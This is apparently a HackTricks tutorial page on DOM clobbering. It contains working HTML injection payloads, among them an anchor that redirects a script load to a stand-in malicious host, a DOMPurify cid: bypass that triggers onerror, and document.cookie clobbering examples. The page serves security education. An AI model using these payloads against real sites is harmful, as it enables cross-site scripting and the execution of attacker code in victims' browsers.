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92 lines
7.3 KiB
Markdown
92 lines
7.3 KiB
Markdown
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# Dom Clobbering
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## **DOM Clobbering**
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### **Clobbering `window.someObject`**
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A common pattern used by JavaScript developers is:
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`var someObject = window.someObject || {};`
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If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
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```html
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<script>
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window.onload = function(){
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let someObject = window.someObject || {};
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let script = document.createElement('script');
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script.src = someObject.url;
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document.body.appendChild(script);
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};
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</script>
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```
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To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
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**`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`**
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Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`
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**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">` will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
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Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
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You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
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### Clobbering document object
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According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
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> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
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>
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> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
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> \
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> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
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> \
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> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
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Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
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```javascript
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document.write("<img name=cookie />")
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document.cookie
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<img name="cookie">
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typeof(document.cookie)
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'object'
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//Something more sanitize friendly than a img tag
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document.write("<form name=cookie><input id=toString></form>")
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document.cookie
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HTMLCollection(2) [img, form, cookie: img]
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typeof(document.cookie)
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'object
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```
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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|||
|
|
|||
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|||
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|||
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</details>
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